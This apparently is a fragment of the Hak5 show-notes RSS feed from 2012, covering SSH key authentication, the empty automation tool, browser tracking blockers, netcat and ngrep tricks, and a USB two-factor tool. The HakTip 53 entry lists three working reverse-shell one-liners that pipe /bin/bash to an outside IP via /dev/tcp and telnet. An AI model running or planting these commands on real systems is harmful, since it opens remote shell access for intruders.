		<category><![CDATA[socks5]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[ssh key pair]]></category>
		<category><![CDATA[ssh protocol]]></category>
		<category><![CDATA[sshd_config]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=4745</guid>
		<description><![CDATA[<iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PL75E623B81DFC9AFB&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=transparent" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1109"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1109&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
Building on top of last week's episode on Proxies, SOCKS5 and SSH we're covering Authentication via Public Key Cryptography, setting up an SSH server in Linux and properly configuring a client in Windows.
<div style="clear:both;"></div>
<p><a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1109/hak5--1109--public-keys-proxies-ssh-servers--hd720p30.h264.mp4">Download HD</a> <a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1109/hak5--1109--public-keys-proxies-ssh-servers--large.h264.mp4">Download MP4</a><br />
<span id="more-4745"></span> </p>
<div align="center"><iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PL75E623B81DFC9AFB&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe></div>
<b>Breaking down SSH-2 Protocol Layers</b></p>
<p>Before getting into public key crypto we should first take a moment to gather a basic understanding of the SSH-2 protocol layers. In a nutshell the three layers of SSH-2 are:</p>
<p>The first is the Transport Layer. This layer is responsible for handling key exchanges, the servers authenticity (server authentication), compression, encryption and re-keying (typically after 1 GB of traffic or 1 Hour have elapsed). We'll get into more detail on this next week when we focus on key fingerprints.</p>
<p>Second is the User Authentication Layer, which handles client authentication, or authentication of the user trying to log-in. This process is client driven, meaning that the connecting client chooses which method they would like to authenticate with. Accepted methods vary by server but typically these include: </p>
<ul>
<li>Password Authentication - we used this last week by interactively typing in our password at the prompt when logging in</p>
<li>Public Key - this is the method we'll be using today and going forward
<li>Keyboard Interactive - a process that can be used for one-time-passwords.
<li>GSSAPI (Generic Security Services Application Programming Interface) - this is actually a library used by commercial vendors, usually to implement single-sign-on services in enterprises and integrating with existing security services such as NTLM or Kerberos.
</ul>
<p>Finally there is the Connection Layer. This layer defines the channels, or asymmetric communications supported by SSH, including:</p>
<ul>
<li>Shell Channel for Shells, SFTP, SCP</li>
<li>Direct-TCP/IP Channel for Client-to-Server forwards
<li>Forwarded-TCP/IP Channel for Server-to-Client forwards
</ul>
<p><b>Understanding Public Key Cryptography</b></p>
<p>Authentication via Asymmetric Key Cryptography (aka Public Key Crypto) is the method for generating a key pair -- both public and private (aka secret) -- and publishing one or the other in order to initiate secure communication. In our example we'll be protecting our private key on the client while publishing the public key on the SSH server. With this setup anything encrypted with the public key can be decrypted with our own private key. The oversimplification of this is that the key pairs are linked mathmatically allowing for encryption with the public key and decryption with the private key. The idea is that it's impractical to figure out the private key based on only knowledge of the public key. This is the basis for SSL, PGP, GPG, Bitcoin and many other protocols.</p>
<p>SSH-2 supports at least two methods for Public Key authentication</p>
<ul>
<li>RSA Key Pairs, which are named after creators Rivest, Shamir and Adleman and published in 1978 is an algorithm based on the difficulty of factoring large integers. Again the oversimplification is that the public key is based on the product of two large primes (along with an aux value) and the private key is derived from prime factors used to create the public key.</p>
<li>DSA Key Pairs, or Digital Signature Algorithm, have been a Federal Information Processing Standard since 1993. Originally pantented by former NSA employee David Kravitz this technology is now freely available for anyone to use worldwide.
</ul>
<p><b>Setting up a Linux OpenSSH Server</b><br />
On a Debian based Linux machine setting up ssh can be as simple as issuing "sudo apt-get install ssh". In this segment Darren goes over some of the configuration lines you would find useful to modify in /etc/ssh/sshd_config.</p>
<blockquote><pre>
AllowTcpForwarding yes
GatewayPorts       yes
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile      %h/.ssh/authorized_keys
AllowUsers bob alice
PermitRootLogin no
Protocol 2
Port 222
LoginGraceTime 1m
ListenAddress
ClientAliveInterval 60
ClientAliveCountMax 0
</pre>
</blockquote>
<p>Be sure to restart the SSH deamon after editing the configuration. stop ssh;start ssh;service ssh restart;/etc/init.d/ssh restart #one of these should do it! :)</p>
<p><b>SSH Key Authentication On Windows with Putty for a Linux Server</b></p>
<p>This'll create key pair- an authorization to log on to server for authentication. Begin by downloading the Putty KeyGen tool. Click Generate and move mouse to generate key pair, and save both. Now open the server via Putty. </p>
<p>On the server go ahead and create a user if you haven't already done so. Typically this is achieved using the "adduser username" then "passwd username" commands.</p>
<p>Now, while logged in as your user, make a directory called .ssh in the your home. For example "mkdir ~/.ssh"</p>
<p>You'll want to change the mode to 700 so that only you have access to it. In the world of Unix there are 3 levels of permissions for files and directories. The Owner, Groups and World (everyone). The first 10 characters are the file's attributes. The first character represents what type of file it is. If it's a dash (-) it's a regular file. A (d) represents a directory, and there are a few others for special stuff like symbolic links. The next 9 characters specify the Read (r), Write (w) and Execute (x) permissions for the file's Owner, Groups and World (everyone). Change the mode of the directory with "chmod 700 .ssh/" The "chmod" command stands for Change Mode and allows you to easily modify a file or directory's permissions. Chmod will accept an octal representation of the modes. We're not going to get into them all but in this case 700 changes the file to be Readable, Writeable and Executable by the file's Owner, and nothing else for any Groups and the World.</p>
<p>Next change to the newly created directory with "cd .ssh" and create a file called authorized_keys2 with the public key on one line saved in file. Add ""ssh-rsa "" to the beginning.</p>
<p>Finally you'll want to again change the mode of the file so that only you can read and write to it. In this case the command would be "chmod 600 authorized_key2".</p>
<p>Now back on the Windows machine ppen pageant.exe and select 'add key'. Add the private key created in the initial setup. Pageant works as a passphrase keeper. With Pageant in memory and your private key loaded go ahead and test your connection. Just as before login with putty being sure to include "username@" before the hostname in the connection dialog.</p>
<p>You should now login without a password needed! Hooray!
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/episodes/hak5-1109/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Hak5 1107 &#8211; Block Facebook Tracking, Interactive Process Automation, plus NetCat and Ngrep tricks</title>
		<link>http://Hak5.org/episodes/hak5-1107</link>
		<comments>http://Hak5.org/episodes/hak5-1107#comments</comments>
		<pubDate>Wed, 04 Apr 2012 19:13:58 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Episodes]]></category>
		<category><![CDATA[Season 11]]></category>
		<category><![CDATA[automate]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[disconnect.me]]></category>
		<category><![CDATA[empty]]></category>
		<category><![CDATA[expect]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[google plus]]></category>
		<category><![CDATA[hex]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[netcat]]></category>
		<category><![CDATA[ngrep]]></category>
		<category><![CDATA[opt-out]]></category>
		<category><![CDATA[Process]]></category>
		<category><![CDATA[program]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[tcp]]></category>
		<category><![CDATA[Tracking]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=4705</guid>
		<description><![CDATA[<iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PL1906418B58097F55&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1107"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1107&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
This time on the show, automating interactive tasks in Linux, preventing your browser sessions from being tracked, graphical command line disk usage utilities, and pushing hex over TCP with Echo. All that and more this time on Hak5!
<div style="clear:both;"></div>
<p><a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1107/hak5--1107--empty-web-app-firewall--hd720p30.h264.mp4">Download HD</a> <a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1107/hak5--1107--empty-web-app-firewall--large.h264.mp4">Download MP4</a><br />
<span id="more-4705"></span> </p>
<div align="center"><iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PL1906418B58097F55&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe></div>
<b>Empty instead of Expect</b></p>
<p>Empties Source Forge page at empty.sf.net describes the utility as one that provides an interface to execute and interact with processes under pseudo-terminal sessions. This is pretty cool because you can use it to program shell scripts which communicate with interactive programs like telnet, ftp or ssh. </p>
<p>And while TCL/Expect does the same thing, empty may be a better choice because it can be invoked directly from the shell, it doesn't require TCL, perl, python or any other language, it's super small and simple and has already been ported to most *nix flavors. </p>
<p>Installation is pretty simple, either download the source from empties website, untar it and ""make all install clean"", or grab it from your repo. In ubuntu that's apt-get install empty-expect </p>
<p>The cool thing about the way it works is that everything is based on files.</p>
<blockquote><pre>
empty -f -i input.fifo -o output.fifo -p empty.pid -L empty.log ssh
root@localhost
empty -w -i output.fifo -o input.fifo continue 'yn'
empty -w -i output.fifo -o input.fifo assword 'lamepasswordn'
empty -w -i output.fifo -o input.fifo root@ 'topn'
</pre>
</blockquote>
<p><b>Disconnect.me</b></p>
<p>With all the privacy issues we've been hearing about lately, (Facebook's always strange updates; Google's new policy, etc), it almost seems impossible to keep your private data private!</p>
<p>We always hear about those problems we face with third party advertisers, cookies, and social search results, but it seems like everyone gets all up in arms about it, but almost no one goes on the defense and stops it from happening. Sure, people like you and me know how to disable cookies and we've deleted our cache's and search results in Google but we still have to teach the masses how to do it as well. </p>
<p>We still have a friend in the world who cares by the name of Disconnect, a company that was founded by a couple of ex-Googlers, Brian Kennish and Austin Chau, with Casey Oppenheim. </p>
<p>So what are they doing? Well, Disconnect is working on making your private data private again by disabling sharing with third parties and soon customizing your ability to share with whom you want. </p>
<p>How does it work? Disconnect is a small add-on for your browser (for me, Chrome) that you can find in your browser's webstore. Disconnect works in the background, seemlessly blocking the collection of your searches, sites visited, etc from Google, Twitter, Facebook, Digg, and Yahoo. It'll even let you depersonalize searches on Google and Yahoo by blocking cookies while you're still logged in. </p>
<p>You can unblock services too, just by clicking on the icon, in case you want to play a game on facebook that requires it or you have trouble getting to certain services when they're blocked. They've been having some bugs with Google accounts not working right when blocked, but so far I haven't had any problems myself. But this extension does peak my interest as well as suspicions. Does it really block cookies and private data sharing? According to their privacy policy it does.</p>
<p><b>Hex over TCP with Echo and Netcat</b></p>
<p><b>Ever needed to send some hex in TCP form over to a port on an IP?<br />
Well, you can do that with Echo and Netcat.</p>
<blockquote><pre>echo -n -e ""x01x18x03"" | nc 10.73.31.1
80</pre>
</blockquote>
<p>The -n supresses outputting the trailing newline. The -e enables the interpretation of backslash escapes -- allowing us to send hex codes.</p>
<p>This can be pretty useful if, say, you reverse engineered your friends alarm system by doing a little packet capture and analysis and found that the entry system relies on a series of vendor hard-coded 3 bit packets. Security folks, it's not just for the WOPR folks.</p>
<p><b>Disconnecting TCP sessions with Ngrep</b></p>
<p>While Disconnect.me is pretty slick, and <ahref="https://github.com/disconnectme/disconnect.me" target="_blank">open source to boot</a>, Darren prefers to use as few browser extensions as possible, and to that end demonstrates a command line trick for performing a similar function.</p>
<blockquote><pre>ngrep -q -d any 'facebook.com' -K 10</pre>
</blockquote>
<p>Of course the regular expression can be expanded to include more domains and probably prettied up for performance. The important bit here is that the <b>-K</b> option will kill TCP connections matching the expression.</p>
<p>If you're into Hak5 you'll love our new show by hosts Darren Kitchen and Shannon Morse. Check out <a href="http://www.revision3.com/haktip">HakTip</a>!</p>
<p>Whether you're a beginner or a pro, <a href="http://www.revision3.com/haktip">HakTip</a> is essential viewing for current and aspiring hackers, computer enthusiasts, and IT professionals. With a how-to approach to all things Information Technology, HakTip breaks down the core concepts, tools, and techniques of Linux, Wireless Networks, Systems Administration, and more</p>
<p>And let's not forget to mention that you can follow us on <a href="http://www.twitter.com/hak5/" target="_blank">Twitter</a> and <a href="http://www.facebook.com/technolust/" target="_blank">Facebook</a>, <a href="http://revision3.com/hak5/subscribe" target="_blank">Subscribe</a> to the show and get all your Hak5 goodies, including the infamous <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> over at <a href="http://hakshop.com/" target="_blank">HakShop.com</a>. If you have any questions or suggestions please feel free to contact us at <a href="mailto:feedback@hak5.org">feedback@hak5.org</a>.</p>
<p>Youtube Description (No HTML):</p>
<p>This time on the show, automating interactive tasks in Linux, preventing your browser sessions from being tracked, graphical command line disk usage utilities, and pushing hex over TCP with Echo. All that and more this time on Hak5!</p>
<p>If you're into Hak5 you'll love our new show by hosts Darren Kitchen and Shannon Morse. Check out http://www.revision3.com/haktip</p>
<p>Whether you're a beginner or a pro, http://www.revision3.com/haktip is essential viewing for current and aspiring hackers, computer enthusiasts, and IT professionals. With a how-to approach to all things Information Technology, HakTip breaks down the core concepts, tools, and techniques of Linux, Wireless Networks, Systems Administration, and more</p>
<p>And let's not forget to mention that you can follow us on http://www.twitter.com/hak5 and http://www.facebook.com/technolust, http://revision3.com/hak5/subscribe to the show and get all your Hak5 goodies, including the infamous http://hakshop.com/collections/frontpage/products/wifi-pineapple over at http://hakshop.com . If you have any questions or suggestions please feel free to contact us at feedback@hak5.org.
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/episodes/hak5-1107/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Hak5 1106 &#8211; How To Setup Two Factor Authentication in Backtrack Linux</title>
		<link>http://Hak5.org/episodes/hak5-1106</link>
		<comments>http://Hak5.org/episodes/hak5-1106#comments</comments>
		<pubDate>Wed, 28 Mar 2012 19:00:20 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Episodes]]></category>
		<category><![CDATA[Season 11]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[backtrack 5]]></category>
		<category><![CDATA[bt5]]></category>
		<category><![CDATA[chris mooney]]></category>
		<category><![CDATA[dod.net]]></category>
		<category><![CDATA[dual core music]]></category>
		<category><![CDATA[dualcore]]></category>
		<category><![CDATA[Eighty]]></category>
		<category><![CDATA[int0x80]]></category>
		<category><![CDATA[kill all the humans]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[passwd]]></category>
		<category><![CDATA[shadow]]></category>
		<category><![CDATA[shadow file]]></category>
		<category><![CDATA[two factor authentication]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[USB]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=4694</guid>
		<description><![CDATA[<iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PL436FFA740BF3BC52&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1106"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1106&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
This time on the show Darren reports from SXSW 2012 with Eighty of Dual Core and Chris Mooney of DoD.net. The boys discuss two-factor authentication on the Linux platform then brainstorm and develop a tool, dubbed "Kill All The Humans", to protect your machine from unwanted invaders. Invaders must die.
<div style="clear:both;"></div>
<p><a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1106/hak5--1106--hack-all-the-things--hd720p30.h264.mp4">Download HD</a> <a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1106/hak5--1106--hack-all-the-things--large.h264.mp4">Download MP4</a><br />
<span id="more-4694"></span> </p>
<div align="center"><iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PL436FFA740BF3BC52&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe></div>
<ul>
<li>The code from this episode can be found at Chris' github -- <a<br />
href="https://github.com/godsflaw/killallthehumans"<br />
target="_blank">https://github.com/godsflaw/killallthehumans</a></li>
<li>Chris' censorship resistant hosting site can be found at <a<br />
href="http://home.dod.net/"<br />
target="_blank">http://home.dod.net/</a></li>
<li>Eighty of Dual Core is @DualCoreMusic and <a<br />
href="http://dualcoremusic.com/nerdcore/"<br />
target="_blank">http://dualcoremusic.com/nerdcore/</a></li>
</ul>
<p><b>Three new laws of robotics:</b><br />
1. Drink all the booze<br />
2. Hack all the things<br />
3. Kill all the humans</p>
<p><b>Installation of Kill All The Humans:</b></p>
<p>1.  Become root, none of that sudo shit.<br />
2.  cpan<br />
  - install POE<br />
3.  make install<br />
4.  Make sure the script starts/stops on boot and shutdown.<br />
  - backtrack linux: update-rc.d killallthehumans defaults<br />
5.  Remove any USB drives that may be connected<br />
6.  Start the script for the first time<br />
 /etc/init.d/killallthehumans start<br />
7.  Plug in a USB drive and wait a moment for shadow.gpg to be copied over<br />
  - Private key is located in /etc/killallthehumans/humans.key</p>
<p>NOTE: This drive will now be recognized at /mnt/shadow instead of the<br />
typical /media/volume</p>
<p>If you're into Hak5 you'll love our new show by hosts Darren Kitchen and Shannon Morse. Check out <a href="http://www.revision3.com/haktip">HakTip</a>!</p>
<p>Whether you're a beginner or a pro, <a href="http://www.revision3.com/haktip">HakTip</a> is essential viewing for current and aspiring hackers, computer enthusiasts, and IT professionals. With a how-to approach to all things Information Technology, HakTip breaks down the core concepts, tools, and techniques of Linux, Wireless Networks, Systems Administration, and more</p>
<p>And let's not forget to mention that you can follow us on <a href="http://www.twitter.com/hak5/" target="_blank">Twitter</a> and <a href="http://www.facebook.com/technolust/" target="_blank">Facebook</a>, <a href="http://revision3.com/hak5/subscribe" target="_blank">Subscribe</a> to the show and get all your Hak5 goodies, including the infamous <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> over at <a href="http://hakshop.com/" target="_blank">HakShop.com</a>. If you have any questions or suggestions please feel free to contact us at <a href="mailto:feedback@hak5.org">feedback@hak5.org</a>.</p>
<p>Youtube Description (No HTML):</p>
<p>This time on the show Darren reports from SXSW 2012 with Eighty of Dual Core and Chris Mooney of DoD.net. The boys discuss two-factor authentication on the Linux platform then brainstorm and develop a tool, dubbed "Kill All The Humans", to protect your machine from unwanted invaders. Invaders must die.</p>
<p>If you're into Hak5 you'll love our new show by hosts Darren Kitchen and Shannon Morse. Check out http://www.revision3.com/haktip</p>
<p>Whether you're a beginner or a pro, http://www.revision3.com/haktip is essential viewing for current and aspiring hackers, computer enthusiasts, and IT professionals. With a how-to approach to all things Information Technology, HakTip breaks down the core concepts, tools, and techniques of Linux, Wireless Networks, Systems Administration, and more</p>
<p>And let's not forget to mention that you can follow us on http://www.twitter.com/hak5 and http://www.facebook.com/technolust, http://revision3.com/hak5/subscribe to the show and get all your Hak5 goodies, including the infamous http://hakshop.com/collections/frontpage/products/wifi-pineapple over at http://hakshop.com . If you have any questions or suggestions please feel free to contact us at feedback@hak5.org.</p>

]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/episodes/hak5-1106/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>HakTip 53 &#8211; Netcat without Netcat</title>
		<link>http://Hak5.org/episodes/haktip-53</link>
		<comments>http://Hak5.org/episodes/haktip-53#comments</comments>
		<pubDate>Fri, 16 Mar 2012 14:51:52 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Episodes]]></category>
		<category><![CDATA[HakTip]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[bind shell]]></category>
		<category><![CDATA[bind shell with netcat]]></category>
		<category><![CDATA[bind shell without netcat]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[nc]]></category>
		<category><![CDATA[netcat]]></category>
		<category><![CDATA[remote shell]]></category>
		<category><![CDATA[reverse shell]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[tcp]]></category>
		<category><![CDATA[telnet]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=4642</guid>
		<description><![CDATA[<iframe width="640" height="360" src="http://www.youtube.com/embed/hZ6TjWuepqw" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhaktip-53"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhaktip-53&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
We're setting up bind shells to netcat, without using netcat! Darren features three methods to create reverse shell connections to the Internet's favorite TCP/IP swiss army knife.
<div style="clear:both;"></div>
<p><a class="mov" href="http://videos.revision3.com/revision3/web/hak5/haktip/0053/hak5--haktip--0053--pushingcats--hd720p30.h264.mp4">Download HD</a> <a class="mov" href="http://videos.revision3.com/revision3/web/hak5/haktip/0053/hak5--haktip--0053--pushingcats--large.h264.mp4">Download MP4</a><br />
<span id="more-4642"></span> </p>
<div align="center"><iframe width="640" height="360" src="http://www.youtube.com/embed/hZ6TjWuepqw" frameborder="0" allowfullscreen></iframe></div>
Netcat without Netcat with Mad Props to Rami</p>
<p><b>Method 1: </b></p>
<blockquote><p>
Hacker: nc -l -n -vv -p 8080<br />
Victim: /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
</p></blockquote>
<p><b>Method 2: </b></p>
<blockquote><p>
Hacker: nc -l -n -vv -p 8080<br />
Victim: mknod backpipe p && telnet 173.214.173.151 8080 0<backpipe | /bin/bash 1>backpipe
</p></blockquote>
<p><b>Method 3: </b></p>
<blockquote><p>
Hacker: nc -l -n -vv -p 8080<br />
Hacker: nc -l -n -vv -p 8888<br />
Victim: telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888
</p></blockquote>
<p>So that leads me to ask, what programs, commands or scripts are rocking your world? Hit us up -- <a href="mailto:tips@hak5.org">tips@hak5.org</a>, or simply leave a comment below.</p>
<p>And be sure to check out our sister show, <a href="http://www.hak5.org" target="_blank">Hak5</a> for more great stuff just like this.
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/episodes/haktip-53/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>HakTip 52 &#8211; How to Get Linux with Get Linux</title>
		<link>http://Hak5.org/episodes/haktip-52</link>
		<comments>http://Hak5.org/episodes/haktip-52#comments</comments>
		<pubDate>Thu, 01 Mar 2012 15:46:37 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Episodes]]></category>
		<category><![CDATA[HakTip]]></category>
		<category><![CDATA[dev-fire]]></category>
		<category><![CDATA[distros]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[getlinux]]></category>
		<category><![CDATA[iso]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[portable]]></category>
		<category><![CDATA[sourceforge]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=4608</guid>
		<description><![CDATA[<iframe width="640" height="360" src="http://www.youtube.com/embed/VZQo1La4M1w" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhaktip-52"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhaktip-52&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
On today's episode of HakTip we're checking out Get Linux, an ISO downloader for Windows.
<div style="clear:both;"></div>
<p><a class="mov" href="http://videos.revision3.com/revision3/web/hak5/haktip/0052/hak5--haktip--0052--linuxgetlinux--hd720p30.h264.mp4">Download HD</a> <a class="mov" href="http://videos.revision3.com/revision3/web/hak5/haktip/0052/hak5--haktip--0052--linuxgetlinux--large.h264.mp4">Download MP4</a><br />
<span id="more-4608"></span> </p>
<div align="center"><iframe width="640" height="360" src="http://www.youtube.com/embed/VZQo1La4M1w" frameborder="0" allowfullscreen></iframe>/div></p>
<a href="http://getlinux.sourceforge.net/" target="_blank">Get Linux</a> is a free and open source portable tool made by Dev-Fire used to obtain the newest and coolest in the Linux distro world. It compiles over 100 different Linux distros into one handy list so you don't have to go searching all over the internets every time you want to find an ISO file for a certain OS. I know there are a lot of tools out there for ISO downloads and portable distros but what I like about this one is the fact that it's updated monthly with new OS's and upgrades, the GUI is customizable and easy to use, and duh - it's portable. This is a simple program to make your life a little easier, and it's specifically for Windows machines. </p>
<p>The program seems to run pretty fast, and the list of Linux distros is super long- there are a ton in here that I've never heard of (great way to delve into new distros!). In my test, I downloaded Caine which is about 1/2 a Gig. It took about 5 minutes on my ISP. ISO's download into the Get Linux Download folder. Once done, you can take your newly downloaded ISO and fire up Unetbootin or another program similar to that and start up your new OS!</p>
<p>Do you have a different tool for Linux distros? Hit us up -- <a href="mailto:tips@hak5.org">tips@hak5.org</a>, or simply leave a comment below.</p>
<p>And be sure to check out our sister show, <a href="http://www.hak5.org" target="_blank">Hak5</a> for more great stuff just like this.</p>
<p>http://getlinux.sourceforge.net/ is a free and open source portable tool made by Dev-Fire used to obtain the newest and coolest in the Linux distro world. It compiles over 100 different Linux distros into one handy list so you don't have to go searching all over the internets every time you want to find an ISO file for a certain OS. I know there are a lot of tools out there for ISO downloads and portable distros but what I like about this one is the fact that it's updated monthly with new OS's and upgrades, the GUI is customizable and easy to use, and duh - it's portable. This is a simple program to make your life a little easier, and it's specifically for Windows machines. </p>
<p>The program seems to run pretty fast, and the list of Linux distros is super long- there are a ton in here that I've never heard of (great way to delve into new distros!). In my test, I downloaded Caine which is about 1/2 a Gig. It took about 5 minutes on my ISP. ISO's download into the Get Linux Download folder. Once done, you can take your newly downloaded ISO and fire up Unetbootin or another program similar to that and start up your new OS!</p>
<p>Do you have a different tool for Linux distros? Hit us up -- tips@hak5.org, or simply leave a comment below.<br />
And be sure to check out our sister show, http://www.hak5.org for more great stuff just like this.
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/episodes/haktip-52/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HakTip 51 &#8211; Free Text to Speech with Linux</title>
		<link>http://Hak5.org/episodes/haktip-51</link>
		<comments>http://Hak5.org/episodes/haktip-51#comments</comments>
		<pubDate>Sat, 18 Feb 2012 16:07:51 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Episodes]]></category>
		<category><![CDATA[HakTip]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[festival]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[pipe]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[terminal]]></category>
		<category><![CDATA[text to speech]]></category>
		<category><![CDATA[tts]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=4666</guid>
		<description><![CDATA[<iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=4uKTamXonPs&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhaktip-51"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhaktip-51&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
In this HakTip we're setting up Festival for the GUI in Linux
<div style="clear:both;"></div>
